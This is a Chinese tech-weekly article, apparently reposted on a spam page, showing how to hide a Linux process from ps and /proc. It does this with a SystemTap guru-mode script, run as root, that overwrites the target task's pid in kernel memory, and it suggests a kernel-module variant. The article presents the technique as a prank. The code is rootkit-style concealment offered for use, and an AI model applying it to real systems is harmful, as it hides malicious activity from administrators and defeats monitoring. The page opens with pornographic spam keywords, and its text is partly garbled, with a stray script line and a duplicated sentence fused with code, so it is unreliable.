偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

一行代碼如何隱藏Linux進(jìn)程?_IT技術(shù)周刊第644期

技術(shù)期刊
技術(shù)資訊盡在技術(shù)周刊

 

[[342042]]

總有朋友問隱藏Linux進(jìn)程的方法,我說你想隱藏到什么程度,是大隱于內(nèi)核,還是小隱于用戶。網(wǎng)上通篇論述的無外乎 hook 掉 procfs 或者類似的用戶態(tài)方案,也都難免長篇大論,我說,這些場面都太大了,太復(fù)雜了。對于希望馬上看到效果的而言,看到這么一堆復(fù)雜的東西,大概率望而卻步。

本文介紹一種將Linux進(jìn)程小隱于用戶的非常規(guī)方法,僅僅一行代碼:

修改掉進(jìn)程的pid即可。

注意是小隱,所以,不值得反制,逗一下高級會(huì)議工程師搞個(gè)惡作劇玩玩得了。

  1. target->pid = 0x7fffffff; 

完整的腳本如下:

  1. #!/usr/bin/stap -g 
  2. # hide.stp 
  3.  
  4. global pid; 
  5.  
  6. function hide(who:long) 
  7. %{ 
  8.     struct task_struct *target; 
  9.  
  10.     target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); 
  11.     target->pid = 0x7fffffff; 
  12. %} 
  13.  
  14. probe begin 
  15.     pid = $1 
  16.     hide(pid); 
  17.     exit(); 
  18. ff; 

來來來,試一下:

  1. [root@localhost system]# ./tohide & 
  2. [1] 403 
  3. [root@localhost system]# ./hide.stp 
  4. [root@localhost system]#  

用下面的命令可以檢測所有可顯示進(jìn)程的二進(jìn)制文件:

  1. for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do  
  2.     ls -l /proc/$pid/exe;  
  3. done 

procfs里沒了,ps當(dāng)然就檢測不到了。

如果你覺得guru 模式的 stap 怪怪的,那么你完全可以編寫自己獨(dú)立的 Linux kernel module,采用修改完即退的方法:

  1. target->pid = xxxx; 

return -1;是不是比各種hook法簡單多了,所謂的動(dòng)數(shù)據(jù)而不要?jiǎng)哟a!是不是比各種 hook 法簡單多了,所謂的動(dòng)數(shù)據(jù)而不要?jiǎng)哟a!

簡單的說一下原理:

task被創(chuàng)建的時(shí)候,根據(jù)其pid注冊procfs目錄結(jié)構(gòu)。

展示procfs目錄結(jié)構(gòu)的時(shí)候,遍歷task list以其pid作為key來查找procfs目錄結(jié)構(gòu)。

0x7fffffff(或者任何其它合理的值)根本沒有注冊過,當(dāng)然無法顯示。

責(zé)任編輯:張潔 來源: 技術(shù)周刊
相關(guān)推薦

2020-09-09 16:00:22

Linux進(jìn)程

2013-08-06 09:31:42

IT技術(shù)周刊

2016-04-05 11:40:17

殺毒51CTOIT技術(shù)周刊

2021-07-20 17:38:43

技術(shù)資訊

2017-09-20 14:42:44

2016-05-30 17:51:34

網(wǎng)絡(luò)安全技術(shù)周刊

2017-07-24 10:42:24

IT技術(shù)周刊

2011-01-23 12:41:56

IT技術(shù)周刊

2015-09-22 15:19:07

網(wǎng)絡(luò)安全技術(shù)周刊

2013-04-23 14:03:21

IT技術(shù)周刊

2014-10-31 11:24:43

網(wǎng)絡(luò)·安全技術(shù)周刊

2012-05-02 10:28:57

安全技術(shù)

2020-02-03 14:34:41

技術(shù)資訊

2013-05-08 10:31:29

網(wǎng)絡(luò)·安全技術(shù)周刊

2016-12-02 08:53:18

Python一行代碼

2019-04-08 18:23:31

2015-01-20 09:51:29

IT技術(shù)周刊

2011-05-13 11:21:05

2021-10-20 13:59:38

技術(shù)資訊

2020-06-24 13:08:14

網(wǎng)絡(luò)安全網(wǎng)絡(luò)安全技術(shù)周刊
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號